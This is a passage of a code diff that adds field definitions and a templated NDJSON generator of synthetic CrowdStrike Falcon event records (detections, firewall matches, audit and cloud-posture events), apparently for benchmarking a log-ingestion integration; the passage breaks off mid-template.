+  type: keyword
+- name: AgentIdString
+  type: keyword
+- name: FineScore
+  type: float
+- name: LateralMovement
+  type: integer
+- name: IncidentID
+  type: keyword
+- name: HostID
+  type: keyword
+- name: LMHostIDs
+  type: keyword
+- name: AccountId
+  type: keyword
+- name: PolicyId
+  type: integer
+- name: PolicyStatement
+  type: keyword
+- name: CloudProvider
+  type: keyword
+- name: CloudService
+  type: keyword
+- name: EventAction
+  type: keyword
+- name: EventSource
+  type: keyword
+- name: UserSourceIp
+  type: ip
+- name: Region
+  type: keyword
+- name: ResourceId
+  type: keyword
+- name: ResourceIdType
+  type: keyword
+- name: ResourceName
+  type: keyword
+- name: ResourceCreateTime
+  type: integer
+- name: CloudPlatform
+  type: keyword
+- name: Disposition
+  type: keyword
+- name: ResourceUrl
+  type: keyword
+- name: Finding
+  type: keyword
+- name: ResourceAttributes
+  type: keyword
+- name: Tags
+  type: group
+  fields:
+  - name: Key
+    type: keyword
+  - name: ValueString
+    type: keyword
+- name: ReportUrl
+  type: keyword
+- name: MobileDetectionId
+  type: integer
+- name: TacticId
+  type: keyword
+- name: TechniqueId
+  type: keyword
+- name: MobileAppsDetails
+  type: group
+  fields:
+  - name: AppIdentifier
+    type: keyword
+  - name: AndroidAppLabel
+    type: keyword
+  - name: DexFileHashes
+    type: keyword
+  - name: ImageFileName
+    type: keyword
+  - name: AppInstallerInformation
+    type: keyword
+  - name: IsBeingDebugged
+    type: boolean
+  - name: AndroidAppVersionName
+    type: keyword
+  - name: IsContainerized
+    type: boolean
+- name: NotificationId
+  type: keyword
+- name: Highlights
+  type: keyword
+- name: RuleTopic
+  type: keyword
+- name: RulePriority
+  type: keyword
+- name: ItemId
+  type: keyword
+- name: ItemType
+  type: keyword
+- name: Author
+  type: keyword
+- name: IPv4Addresses
+  type: ip
+- name: HostNames
+  type: keyword
+- name: timestamp
+  type: date
+- name: TacticIds
+  type: keyword
+- name: Tactics
+  type: keyword
+- name: TechniqueIds
+  type: keyword
+- name: Techniques
+  type: keyword
+- name: XdrType
+  type: keyword
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/falcon-benchmark/template.ndjson b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/falcon-benchmark/template.ndjson
new file mode 100644
index 0000000000..e08451d32e
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/falcon-benchmark/template.ndjson
@@ -0,0 +1,220 @@
+{{- $AgentId := generate "AgentId" }}
+{{- $AggregateId := generate "AggregateId" }}
+{{- $CommandLine := generate "CommandLine" }}
+{{- $CompositeId := generate "CompositeId" }}
+{{- $DataDomains := generate "DataDomains" }}
+{{- $Description := generate "Description" }}
+{{- $FalconHostLink := generate "FalconHostLink" }}
+{{- $FileName := generate "FileName" }}
+{{- $FilePath := generate "FilePath" }}
+{{- $GrandParentCommandLine := generate "GrandParentCommandLine" }}
+{{- $GrandParentImageFileName := generate "GrandParentImageFileName" }}
+{{- $GrandParentImageFilePath := generate "GrandParentImageFilePath" }}
+{{- $HostGroups := generate "HostGroups" }}
+{{- $Hostname := generate "Hostname" }}
+{{- $LocalIP := generate "LocalIP" }}
+{{- $LocalIPv6 := generate "LocalIPv6" }}
+{{- $LogonDomain := generate "LogonDomain" }}
+{{- $MACAddress := generate "MACAddress" }}
+{{- $MD5String := generate "MD5String" }}
+{{- $Name := generate "Name" }}
+{{- $AccessType := generate "NetworkAccesses.AccessType" }}
+{{- $ConnectionDirection := generate "NetworkAccesses.ConnectionDirection" }}
+{{- $IsIPV6 := generate "NetworkAccesses.IsIPV6" }}
+{{- $LocalAddress := generate "NetworkAccesses.LocalAddress" }}
+{{- $LocalPort := generate "NetworkAccesses.LocalPort" }}
+{{- $Protocol := generate "NetworkAccesses.Protocol" }}
+{{- $RemoteAddress := generate "NetworkAccesses.RemoteAddress" }}
+{{- $RemotePort := generate "NetworkAccesses.RemotePort" }}
+{{- $Objective := generate "Objective" }}
+{{- $ParentCommandLine := generate "ParentCommandLine" }}
+{{- $ParentImageFileName := generate "ParentImageFileName" }}
+{{- $ParentImageFilePath := generate "ParentImageFilePath" }}
+{{- $ParentProcessId := generate "ParentProcessId" }}
+{{- $PatternDispositionDescription := generate "PatternDispositionDescription" }}
+{{- $BlockingUnsupportedOrDisabled := generate "PatternDispositionFlags.BlockingUnsupportedOrDisabled" }}
+{{- $BootupSafeguardEnabled := generate "PatternDispositionFlags.BootupSafeguardEnabled" }}
+{{- $ContainmentFileSystem := generate "PatternDispositionFlags.ContainmentFileSystem" }}
+{{- $CriticalProcessDisabled := generate "PatternDispositionFlags.CriticalProcessDisabled" }}
+{{- $Detect := generate "PatternDispositionFlags.Detect" }}
+{{- $FsOperationBlocked := generate "PatternDispositionFlags.FsOperationBlocked" }}
+{{- $HandleOperationDowngraded := generate "PatternDispositionFlags.HandleOperationDowngraded" }}
+{{- $InddetMask := generate "PatternDispositionFlags.InddetMask" }}
+{{- $Indicator := generate "PatternDispositionFlags.Indicator" }}
+{{- $KillActionFailed := generate "PatternDispositionFlags.KillActionFailed" }}
+{{- $KillParent := generate "PatternDispositionFlags.KillParent" }}
+{{- $KillProcess := generate "PatternDispositionFlags.KillProcess" }}
+{{- $KillSubProcess := generate "PatternDispositionFlags.KillSubProcess" }}
+{{- $OperationBlocked := generate "PatternDispositionFlags.OperationBlocked" }}
+{{- $PolicyDisabled := generate "PatternDispositionFlags.PolicyDisabled" }}
+{{- $ProcessBlocked := generate "PatternDispositionFlags.ProcessBlocked" }}
+{{- $QuarantineFile := generate "PatternDispositionFlags.QuarantineFile" }}
+{{- $QuarantineMachine := generate "PatternDispositionFlags.QuarantineMachine" }}
+{{- $RegistryOperationBlocked := generate "PatternDispositionFlags.RegistryOperationBlocked" }}
+{{- $Rooting := generate "PatternDispositionFlags.Rooting" }}
+{{- $SensorOnly := generate "PatternDispositionFlags.SensorOnly" }}
+{{- $SuspendParent := generate "PatternDispositionFlags.SuspendParent" }}
+{{- $SuspendProcess := generate "PatternDispositionFlags.SuspendProcess" }}
+{{- $PatternDispositionValue := generate "PatternDispositionValue" }}
+{{- $PatternId := generate "PatternId" }}
+{{- $PlatformId := generate "PlatformId" }}
+{{- $PlatformName := generate "PlatformName" }}
+{{- $ProcessEndTime := generate "ProcessEndTime" }}
+{{- $ProcessId := generate "ProcessId" }}
+{{- $ProcessStartTime := generate "ProcessStartTime" }}
+{{- $ReferrerUrl := generate "ReferrerUrl" }}
+{{- $SHA1String := generate "SHA1String" }}
+{{- $SHA256String := generate "SHA256String" }}
+{{- $Severity := generate "Severity" }}
+{{- $DetectionSeverity := generate "DetectionSeverity" }}
+{{- $SeverityName := generate "SeverityName" }}
+{{- $SourceProducts := generate "SourceProducts" }}
+{{- $SourceVendors := generate "SourceVendors" }}
+{{- $Tactic := generate "Tactic" }}
+{{- $Technique := generate "Technique" }}
+{{- $Type := generate "Type" }}
+{{- $UserName := generate "UserName" }}
+{{- $ComputerName := generate "ComputerName" }}
+{{- $DetectName := generate "DetectName" }}
+{{- $DetectDescription := generate "DetectDescription" }}
+{{- $MachineDomain := generate "MachineDomain" }}
+{{- $SensorId := generate "SensorId" }}
+{{- $IOCType := generate "IOCType" }}
+{{- $IOCValue := generate "IOCValue" }}
+{{- $DetectId := generate "DetectId" }}
+{{- $GrandparentImageFileName := generate "GrandparentImageFileName" }}
+{{- $GrandparentCommandLine := generate "GrandparentCommandLine" }}
+{{- $AssociatedFile := generate "AssociatedFile" }}
+{{- $DeviceId := generate "DeviceId" }}
+{{- $CustomerId := generate "CustomerId" }}
+{{- $Ipv := generate "Ipv" }}
+{{- $EventType := generate "EventType" }}
+{{- $Audit := generate "Flags.Audit" }}
+{{- $Log := generate "Flags.Log" }}
+{{- $Monitor := generate "Flags.Monitor" }}
+{{- $HostName := generate "HostName" }}
+{{- $ICMPCode := generate "ICMPCode" }}
+{{- $ICMPType := generate "ICMPType" }}
+{{- $ImageFileName := generate "ImageFileName" }}
+{{- $MatchCount := generate "MatchCount" }}
+{{- $MatchCountSinceLastReport := generate "MatchCountSinceLastReport" }}
+{{- $NetworkProfile := generate "NetworkProfile" }}
+{{- $PID := generate "PID" }}
+{{- $PolicyName := generate "PolicyName" }}
+{{- $PolicyID := generate "PolicyID" }}
+{{- $Protocol := generate "Protocol" }}
+{{- $RuleAction := generate "RuleAction" }}
+{{- $RuleDescription := generate "RuleDescription" }}
+{{- $RuleFamilyID := generate "RuleFamilyID" }}
+{{- $RuleGroupName := generate "RuleGroupName" }}
+{{- $RuleName := generate "RuleName" }}
+{{- $RuleId := generate "RuleId" }}
+{{- $Status := generate "Status" }}
+{{- $TreeID := generate "TreeID" }}
+{{- $SourceAccountDomain := generate "SourceAccountDomain" }}
+{{- $SourceAccountName := generate "SourceAccountName" }}
+{{- $SourceAccountObjectSid := generate "SourceAccountObjectSid" }}
+{{- $SourceEndpointAccountObjectGuid := generate "SourceEndpointAccountObjectGuid" }}
+{{- $SourceEndpointAccountObjectSid := generate "SourceEndpointAccountObjectSid" }}
+{{- $SourceEndpointHostName := generate "SourceEndpointHostName" }}
+{{- $SourceEndpointIpAddress := generate "SourceEndpointIpAddress" }}
+{{- $SourceEndpointSensorId := generate "SourceEndpointSensorId" }}
+{{- $ActivityId := generate "ActivityId" }}
+{{- $IncidentType := generate "IncidentType" }}
+{{- $IdpIncidentType := generate "IdpIncidentType" }}
+{{- $IncidentDescription := generate "IncidentDescription" }}
+{{- $IdentityProtectionIncidentId := generate "IdentityProtectionIncidentId" }}
+{{- $EndpointName := generate "EndpointName" }}
+{{- $EndpointIp := generate "EndpointIp" }}
+{{- $Category := generate "Category" }}
+{{- $NumbersOfAlerts := generate "NumbersOfAlerts" }}
+{{- $NumberOfCompromisedEntities := generate "NumberOfCompromisedEntities" }}
+{{- $State := generate "State" }}
+{{- $IncidentState := generate "IncidentState" }}
+{{- $UserId := generate "UserId" }}
+{{- $UserIp := generate "UserIp" }}
+{{- $OperationName := generate "OperationName" }}
+{{- $ServiceName := generate "ServiceName" }}
+{{- $Success := generate "Success" }}
+{{- $Key := generate "AuditKeyValues.Key" }}
+{{- $ValueString := generate "AuditKeyValues.ValueString" }}
+{{- $actor_cid := generate "Attributes.actor_cid" }}
+{{- $actor_user := generate "Attributes.actor_user" }}
+{{- $actor_user_uuid := generate "Attributes.actor_user_uuid" }}
+{{- $app_id := generate "Attributes.app_id" }}
+{{- $saml_assertion := generate "Attributes.saml_assertion" }}
+{{- $target_user := generate "Attributes.target_user" }}
+{{- $trace_id := generate "Attributes.trace_id" }}
+{{- $detection_id := generate "Attributes.detection_id" }}
+{{- $UserUUID := generate "UserUUID" }}
+{{- $UserID := generate "UserID" }}
+{{- $ExecutionID := generate "ExecutionID" }}
+{{- $ReportID := generate "ReportID" }}
+{{- $ReportName := generate "ReportName" }}
+{{- $ReportType := generate "ReportType" }}
+{{- $ReportFileReference := generate "ReportFileReference" }}
+{{- $StatusMessage := generate "StatusMessage" }}
+{{- $ExecutionStart := generate "ExecutionMetadata.ExecutionStart" }}
+{{- $ExecutionDuration := generate "ExecutionMetadata.ExecutionDuration" }}
+{{- $ReportFileName := generate "ExecutionMetadata.ReportFileName" }}
+{{- $ResultCount := generate "ExecutionMetadata.ResultCount" }}
+{{- $ResultID := generate "ExecutionMetadata.ResultID" }}
+{{- $SearchWindowStart := generate "ExecutionMetadata.SearchWindowStart" }}
+{{- $SearchWindowEnd := generate "ExecutionMetadata.SearchWindowEnd" }}
+{{- $SessionId := generate "SessionId" }}
+{{- $HostnameField := generate "HostnameField" }}
+{{- $AgentIdString := generate "AgentIdString" }}
+{{- $FineScore := generate "FineScore" }}
+{{- $LateralMovement := generate "LateralMovement" }}
+{{- $IncidentID := generate "IncidentID" }}
+{{- $HostID := generate "HostID" }}
+{{- $LMHostIDs := generate "LMHostIDs" }}
+{{- $AccountId := generate "AccountId" }}
+{{- $PolicyId := generate "PolicyId" }}
+{{- $PolicyStatement := generate "PolicyStatement" }}
+{{- $CloudProvider := generate "CloudProvider" }}
+{{- $CloudService := generate "CloudService" }}
+{{- $EventAction := generate "EventAction" }}
+{{- $EventSource := generate "EventSource" }}
+{{- $UserSourceIp := generate "UserSourceIp" }}
+{{- $Region := generate "Region" }}
+{{- $ResourceId := generate "ResourceId" }}
+{{- $ResourceIdType := generate "ResourceIdType" }}
+{{- $ResourceName := generate "ResourceName" }}
+{{- $ResourceCreateTime := generate "ResourceCreateTime" }}
+{{- $CloudPlatform := generate "CloudPlatform" }}
+{{- $Disposition := generate "Disposition" }}
+{{- $ResourceUrl := generate "ResourceUrl" }}
+{{- $Finding := generate "Finding" }}
+{{- $Key := generate "Tags.Key" }}
+{{- $ValueString := generate "Tags.ValueString" }}
+{{- $ReportUrl := generate "ReportUrl" }}
+{{- $MobileDetectionId := generate "MobileDetectionId" }}
+{{- $TacticId := generate "TacticId" }}
+{{- $TechniqueId := generate "TechniqueId" }}
+{{- $AppIdentifier := generate "MobileAppsDetails.AppIdentifier" }}
+{{- $AndroidAppLabel := generate "MobileAppsDetails.AndroidAppLabel" }}
+{{- $DexFileHashes := generate "MobileAppsDetails.DexFileHashes" }}
+{{- $ImageFileName := generate "MobileAppsDetails.ImageFileName" }}
+{{- $AppInstallerInformation := generate "MobileAppsDetails.AppInstallerInformation" }}
+{{- $IsBeingDebugged := generate "MobileAppsDetails.IsBeingDebugged" }}
+{{- $AndroidAppVersionName := generate "MobileAppsDetails.AndroidAppVersionName" }}
+{{- $IsContainerized := generate "MobileAppsDetails.IsContainerized" }}
+{{- $NotificationId := generate "NotificationId" }}
+{{- $Highlights := generate "Highlights" }}
+{{- $RuleTopic := generate "RuleTopic" }}
+{{- $RulePriority := generate "RulePriority" }}
+{{- $ItemId := generate "ItemId" }}
+{{- $ItemType := generate "ItemType" }}
+{{- $Author := generate "Author" }}
+{{- $IPv4Addresses := generate "IPv4Addresses" }}
+{{- $HostNames := generate "HostNames" }}
+{{- $TacticIds := generate "TacticIds" }}
+{{- $Tactics := generate "Tactics" }}
+{{- $TechniqueIds := generate "TechniqueIds" }}
+{{- $Techniques := generate "Techniques" }}
+{{- $XdrType := generate "XdrType" }}
+{{- $metadata_eventType := generate "metadata.eventType" }}
+{{- $metadata_customerIDString := generate "metadata.customerIDString" }}
+{{- $metadata_offset := generate "metadata.offset" }}
+{"metadata": {"customerIDString": "{{ $metadata_customerIDString }}","offset": {{ $metadata_offset }},"eventType": "{{ $metadata_eventType }}","eventCreationTime": 1686845212400,"version": "1.0"},"event": { {{- if eq $metadata_eventType "EppDetectionSummaryEvent" }}"AgentId": "{{ $AgentId }}","AggregateId": "{{ $AggregateId }}","CommandLine": "C:\\Windows\\{{ $CommandLine }}","CompositeId": "{{ $CompositeId }}","DataDomains": "{{ $DataDomains }}","Description": "{{ $Description }}","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/{{ $FalconHostLink }}?_cid=xxxxxxx","FileName": "{{ $FileName }}","FilePath": "{{ $FilePath }}\\{{ $FileName }}","FilesAccessed": [{"FileName": "{{ $FileName }}","FilePath": "{{ $FilePath }}\\{{ $FileName }}","Timestamp": 1751371830}],"FilesWritten": [{"FileName": "{{ $FileName }}","FilePath": "{{ $FilePath }}\\{{ $FileName }}","Timestamp": 1751371830}],"GrandParentCommandLine": "C:\\Windows\\{{ $GrandParentCommandLine }}","GrandParentImageFileName": "{{ $GrandParentImageFileName }}","GrandParentImageFilePath": "{{ $GrandParentImageFilePath }}\\{{ $GrandParentImageFileName }}","HostGroups": "{{ $HostGroups }}","Hostname": "{{ $Hostname }}","LocalIP": "{{ $LocalIP }}","LocalIPv6": "{{ $LocalIPv6 }}","LogonDomain": "{{ $LogonDomain }}","MACAddress": "{{ $MACAddress }}","MD5String": "{{ $MD5String }}","Name": "{{ $Name }}","NetworkAccesses": [{"AccessTimestamp": 1751371565,"AccessType": {{ $AccessType }},"ConnectionDirection": {{ $ConnectionDirection }},"IsIPV6": {{ $IsIPV6 }},"LocalAddress": "{{ $LocalAddress }}","LocalPort": {{ $LocalPort }},"Protocol": "{{ $Protocol }}","RemoteAddress": "{{ $RemoteAddress }}","RemotePort": {{ $RemotePort }}}],"Objective": "{{ $Objective }}","ParentCommandLine": "C:\\Windows\\{{ $ParentCommandLine }}\\{{ $ParentImageFileName }}","ParentImageFileName": "{{ $ParentImageFileName }}","ParentImageFilePath": "{{ $ParentImageFilePath }}\\{{ $ParentImageFileName }}","ParentProcessId": {{ $ParentProcessId }},"PatternDispositionDescription": "{{ $PatternDispositionDescription }}","PatternDispositionFlags": {"BlockingUnsupportedOrDisabled": {{ $BlockingUnsupportedOrDisabled }},"BootupSafeguardEnabled": {{ $BootupSafeguardEnabled }},"ContainmentFileSystem": {{ $ContainmentFileSystem }},"CriticalProcessDisabled": {{ $CriticalProcessDisabled }},"Detect": {{ $Detect }},"FsOperationBlocked": {{ $FsOperationBlocked }},"HandleOperationDowngraded": {{ $HandleOperationDowngraded }},"InddetMask": {{ $InddetMask }},"Indicator": {{ $Indicator }},"KillActionFailed": {{ $KillActionFailed }},"KillParent": {{ $KillParent }},"KillProcess": {{ $KillProcess }},"KillSubProcess": {{ $KillSubProcess }},"OperationBlocked": {{ $OperationBlocked }},"PolicyDisabled": {{ $PolicyDisabled }},"ProcessBlocked": {{ $ProcessBlocked }},"QuarantineFile": {{ $QuarantineFile }},"QuarantineMachine": {{ $QuarantineMachine }},"RegistryOperationBlocked": {{ $RegistryOperationBlocked }},"Rooting": {{ $Rooting }},"SensorOnly": {{ $SensorOnly }},"SuspendParent": {{ $SuspendParent }},"SuspendProcess": {{ $SuspendProcess }}},"PatternDispositionValue": {{ $PatternDispositionValue }},"PatternId": {{ $PatternId }},"PlatformId": "{{ $PlatformId }}","PlatformName": "{{ $PlatformName }}","ProcessEndTime": {{ $ProcessEndTime }},"ProcessId": {{ $ProcessId }},"ProcessStartTime": {{ $ProcessStartTime }},"ReferrerUrl": "{{ $ReferrerUrl }}","SHA1String": "{{ $SHA1String }}","SHA256String": "{{ $SHA256String }}","Severity": {{ $Severity }},"SeverityName": "{{ $SeverityName }}","SourceProducts": "{{ $SourceProducts }}","SourceVendors": "{{ $SourceVendors }}","Tactic": "{{ $Tactic }}","Technique": "{{ $Technique }}","Type": "{{ $Type }}","UserName": "{{ $UserName }}"{{- else if eq $metadata_eventType "DetectionSummaryEvent" }}"ProcessStartTime": {{ $ProcessStartTime }},"ProcessEndTime": {{ $ProcessEndTime }},"ProcessId": {{ $ProcessId }},"ParentProcessId": {{ $ParentProcessId }},"ComputerName": "{{ $ComputerName }}","UserName": "{{ $UserName }}","DetectName": "{{ $DetectName }}","DetectDescription": "{{ $DetectDescription }}","Severity": {{ $DetectionSeverity }},"SeverityName": "{{ $SeverityName }}","FileName": "{{ $FileName }}","FilePath": "{{ $FilePath }}\\{{ $FileName }}","CommandLine": "C:\\Windows\\{{ $CommandLine }}","SHA256String": "{{ $SHA256String }}","MD5String": "{{ $MD5String }}","SHA1String": "{{ $SHA1String }}","MachineDomain": "{{ $MachineDomain }}","NetworkAccesses": [{"AccessType": {{ $AccessType }},"AccessTimestamp": 1751371565,"Protocol": "{{ $Protocol }}","LocalAddress": "{{ $LocalAddress }}","LocalPort": {{ $LocalPort }},"RemoteAddress": "{{ $RemoteAddress }}","RemotePort": {{ $RemotePort }},"ConnectionDirection": {{ $ConnectionDirection }},"IsIPV6": {{ $IsIPV6 }}}],"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/{{ $FalconHostLink }}?_cid=xxxxxxx","SensorId": "{{ $SensorId }}","IOCType": "{{ $IOCType }}","IOCValue": "{{ $IOCValue }}","DetectId": "{{ $DetectId }}","LocalIP": "{{ $LocalIP }}","MACAddress": "{{ $MACAddress }}","Tactic": "{{ $Tactic }}","Technique": "{{ $Technique }}","Objective": "{{ $Objective }}","PatternDispositionDescription": "{{ $PatternDispositionDescription }}","PatternDispositionValue": {{ $PatternDispositionValue }},"PatternDispositionFlags": {"Indicator": {{ $Indicator }},"Detect": {{ $Detect }},"InddetMask": {{ $InddetMask }},"SensorOnly": {{ $SensorOnly }},"Rooting": {{ $Rooting }},"KillProcess": {{ $KillProcess }},"KillSubProcess": {{ $KillSubProcess }},"QuarantineMachine": {{ $QuarantineMachine }},"QuarantineFile": {{ $QuarantineFile }},"PolicyDisabled": {{ $PolicyDisabled }},"KillParent": {{ $KillParent }},"OperationBlocked": {{ $OperationBlocked }},"ProcessBlocked": {{ $ProcessBlocked }},"RegistryOperationBlocked": {{ $RegistryOperationBlocked }},"CriticalProcessDisabled": {{ $CriticalProcessDisabled }},"BootupSafeguardEnabled": {{ $BootupSafeguardEnabled }},"FsOperationBlocked": {{ $FsOperationBlocked }},"HandleOperationDowngraded": {{ $HandleOperationDowngraded }},"KillActionFailed": {{ $KillActionFailed }},"BlockingUnsupportedOrDisabled": {{ $BlockingUnsupportedOrDisabled }},"SuspendProcess": {{ $SuspendProcess }},"SuspendParent": {{ $SuspendParent }}},"ParentImageFileName": "{{ $ParentImageFileName }}","ParentCommandLine": "{{ $ParentCommandLine }}","GrandparentImageFileName": "{{ $GrandparentImageFileName }}","GrandparentCommandLine": "{{ $GrandparentCommandLine }}","HostGroups": "{{ $HostGroups }}","AssociatedFile": "{{ $AssociatedFile }}","PatternId": {{ $PatternId }}{{- else if eq $metadata_eventType "FirewallMatchEvent" }}"DeviceId": "{{ $DeviceId }}","CustomerId": "{{ $CustomerId }}","Ipv": "{{ $Ipv }}","CommandLine": "{{ $CommandLine }}","ConnectionDirection": "{{ $ConnectionDirection }}","EventType": "{{ $EventType }}","Flags": {"Audit": {{ $Audit }},"Log": {{ $Log }},"Monitor": {{ $Monitor }}},"HostName": "{{ $HostName }}","ICMPCode": "{{ $ICMPCode }}","ICMPType": "{{ $ICMPType }}","ImageFileName": "{{ $ImageFileName }}","LocalAddress": "{{ $LocalAddress }}","LocalPort": "{{ $LocalPort }}","MatchCount": {{ $MatchCount }},"MatchCountSinceLastReport": {{ $MatchCountSinceLastReport }},"NetworkProfile": "{{ $NetworkProfile }}","PID": "{{ $PID }}","PolicyName": "{{ $PolicyName }}","PolicyID": "{{ $PolicyID }}","Protocol": "{{ $Protocol }}","RemoteAddress": "{{ $RemoteAddress }}","RemotePort": "{{ $RemotePort }}","RuleAction": "{{ $RuleAction }}","RuleDescription": "{{ $RuleDescription }}","RuleFamilyID": "{{ $RuleFamilyID }}","RuleGroupName": "{{ $RuleGroupName }}","RuleName": "{{ $RuleName }}","RuleId": "{{ $RuleId }}","Status": "{{ $Status }}","Timestamp": 1751371830,"TreeID": "{{ $TreeID }}"{{- else if eq $metadata_eventType "IdpDetectionSummaryEvent" }}"ContextTimeStamp": 133984620360000000,"CompositeId": "{{ $CompositeId }}","DetectId": "{{ $DetectId }}","DetectName": "{{ $DetectName }}","DetectDescription": "{{ $DetectDescription }}","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/{{ $FalconHostLink }}?_cid=xxxxxxx","StartTime": 133984620360000000,"EndTime": 133984620360000000,"Severity": {{ $Severity }},"SeverityName": "{{ $SeverityName }}","Tactic": "{{ $Tactic }}","Technique": "{{ $Technique }}","Objective": "{{ $Objective }}","SourceAccountDomain": "{{ $SourceAccountDomain }}","SourceAccountName": "{{ $SourceAccountName }}","SourceAccountObjectSid": "{{ $SourceAccountObjectSid }}","SourceEndpointAccountObjectGuid": "{{ $SourceEndpointAccountObjectGuid }}","SourceEndpointAccountObjectSid": "{{ $SourceEndpointAccountObjectSid }}","SourceEndpointHostName": "{{ $SourceEndpointHostName }}","SourceEndpointIpAddress": "{{ $SourceEndpointIpAddress }}","SourceEndpointSensorId": "{{ $SourceEndpointSensorId }}","PrecedingActivityTimeStamp": 133984620360000000,"MostRecentActivityTimeStamp": 133984620360000000,"ActivityId": "{{ $ActivityId }}","PatternId": {{ $PatternId }}{{- else if eq $metadata_eventType "IdentityProtectionEvent" }}"IncidentType": "{{ $IdpIncidentType }}","IncidentDescription": "{{ $IncidentDescription }}","Severity": {{ $Severity }},"SeverityName": "{{ $SeverityName }}","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "{{ $IdentityProtectionIncidentId }}","UserName": "{{ $UserName }}","EndpointName": "{{ $EndpointName }}","EndpointIp": "{{ $EndpointIp }}","Category": "{{ $Category }}","NumbersOfAlerts": {{ $NumbersOfAlerts }},"NumberOfCompromisedEntities": {{ $NumberOfCompromisedEntities }},"State": "{{ $State }}","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/{{ $FalconHostLink }}?_cid=xxxxxxx"{{- else if eq $metadata_eventType "AuthActivityAuditEvent" }}"UserId": "{{ $UserId }}","UserIp": "{{ $UserIp }}","OperationName": "{{ $OperationName }}","ServiceName": "{{ $ServiceName }}","Success": {{ $Success }},"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "{{ $Key }}","ValueString": "{{ $ValueString }}"}],"Attributes": {"actor_cid": "{{ $actor_cid }}","actor_user": "{{ $actor_user }}","actor_user_uuid": "{{ $actor_user_uuid }}","app_id": "{{ $app_id }}","saml_assertion": "{{ $saml_assertion }}","target_user": "{{ $target_user }}","trace_id": "{{ $trace_id }}"}{{- else if eq $metadata_eventType "UserActivityAuditEvent" }}"UserId": "{{ $UserId }}","UserIp": "{{ $UserIp }}","OperationName": "{{ $OperationName }}","ServiceName": "{{ $ServiceName }}","AuditKeyValues": [{"Key": "{{ $Key }}","ValueString": "{{ $ValueString }}"}],"UTCTimestamp": 1686849556,"Attributes": {"detection_id": "{{ $detection_id }}"}{{- else if eq $metadata_eventType "ScheduledReportNotificationEvent" }}"UserUUID": "{{ $UserUUID }}","UserID": "{{ $UserID }}","ExecutionID": "{{ $ExecutionID }}","ReportID": "{{ $ReportID }}","ReportName": "{{ $ReportName }}","ReportType": "{{ $ReportType }}","ReportFileReference": "{{ $ReportFileReference }}","Status": "{{ $Status }}","StatusMessage": "{{ $StatusMessage }}","ExecutionMetadata": {"ExecutionStart": {{ $ExecutionStart }},"ExecutionDuration": {{ $ExecutionDuration }},"ReportFileName": "{{ $ReportFileName }}","ResultCount": {{ $ResultCount }},"ResultID": "{{ $ResultID }}","SearchWindowStart": {{ $SearchWindowStart }},"SearchWindowEnd": {{ $SearchWindowEnd }}}{{- else if eq $metadata_eventType "RemoteResponseSessionStartEvent" }}"SessionId": "{{ $SessionId }}","HostnameField": "{{ $HostnameField }}","UserName": "{{ $UserName }}","StartTimestamp": 1582830734,"AgentIdString": "{{ $AgentIdString }}"{{- else if eq $metadata_eventType "IncidentSummaryEvent" }}"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "{{ $FalconHostLink }}","State": "{{ $IncidentState }}","FineScore": {{ $FineScore }},"LateralMovement": {{ $LateralMovement }},"IncidentType": {{ $IncidentType }},"IncidentID": "{{ $IncidentID }}","HostID": "{{ $HostID }}","LMHostIDs": ["{{ $LMHostIDs }}"],"UserId": "{{ $UserId }}"{{- else if eq $metadata_eventType "CSPMIOAStreamingEvent" }}"AccountId": "{{ $AccountId }}","PolicyId": {{ $PolicyId }},"PolicyStatement": "{{ $PolicyStatement }}","CloudProvider": "{{ $CloudProvider }}","CloudService": "{{ $CloudService }}","Severity": {{ $Severity }},"SeverityName": "{{ $SeverityName }}","EventAction": "{{ $EventAction }}","EventSource": "{{ $EventSource }}","EventCreatedTimestamp": 1663011160,"UserId": "{{ $UserId }}","UserName": "{{ $UserName }}","UserSourceIp": "{{ $UserSourceIp }}","Tactic": "{{ $Tactic }}","Technique": "{{ $Technique }}"{{- else if eq $metadata_eventType "CSPMSearchStreamingEvent" }}"AccountId": "{{ $AccountId }}","Region": "{{ $Region }}","ResourceId": "{{ $ResourceId }}","ResourceIdType": "{{ $ResourceIdType }}","ResourceName": "{{ $ResourceName }}","ResourceCreateTime": 0,"PolicyStatement": "{{ $PolicyStatement }}","PolicyId": {{ $PolicyId }},"Severity": {{ $Severity }},"SeverityName": "{{ $SeverityName }}","CloudPlatform": "{{ $CloudPlatform }}","CloudService": "{{ $CloudService }}","Disposition": "{{ $Disposition }}","ResourceUrl": "{{ $ResourceUrl }}","Finding": "{{ $Finding }}","Tags": [{"Key": "{{ $Key }}","ValueString": "{{ $ValueString }}"}],"ReportUrl": "{{ $ReportUrl }}","Timestamp": 1751371830{{- else if eq $metadata_eventType "MobileDetectionSummaryEvent" }}"SensorId": "{{ $SensorId }}","MobileDetectionId": {{ $MobileDetectionId }},"ComputerName": "{{ $ComputerName }}","UserName": "{{ $UserName }}","ContextTimeStamp": 1649061056,"DetectId": "{{ $DetectId }}","DetectName": "{{ $DetectName }}","DetectDescription": "{{ $DetectDescription }}","Tactic": "{{ $Tactic }}","TacticId": "{{ $TacticId }}","Technique": "{{ $Technique }}","TechniqueId": "{{ $TechniqueId }}","Objective": "{{ $Objective }}","Severity": {{ $Severity }},"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/{{ $FalconHostLink }}?_cid=xxxxxxx","MobileAppsDetails": [{"AppIdentifier": "{{ $AppIdentifier }}","AndroidAppLabel": "{{ $AndroidAppLabel }}","DexFileHashes": "{{ $DexFileHashes }}","ImageFileName": "{{ $ImageFileName }}","AppInstallerInformation": "{{ $AppInstallerInformation }}","IsBeingDebugged": {{ $IsBeingDebugged }},"AndroidAppVersionName": "{{ $AndroidAppVersionName }}","IsContainerized": {{ $IsContainerized }}}]{{- else if eq $metadata_eventType "ReconNotificationSummaryEvent" }}"NotificationId": "{{ $NotificationId }}","Highlights": ["{{ $Highlights }}"],"MatchedTimestamp": 1686889114000,"RuleId": "{{ $RuleId }}","RuleName": "{{ $RuleName 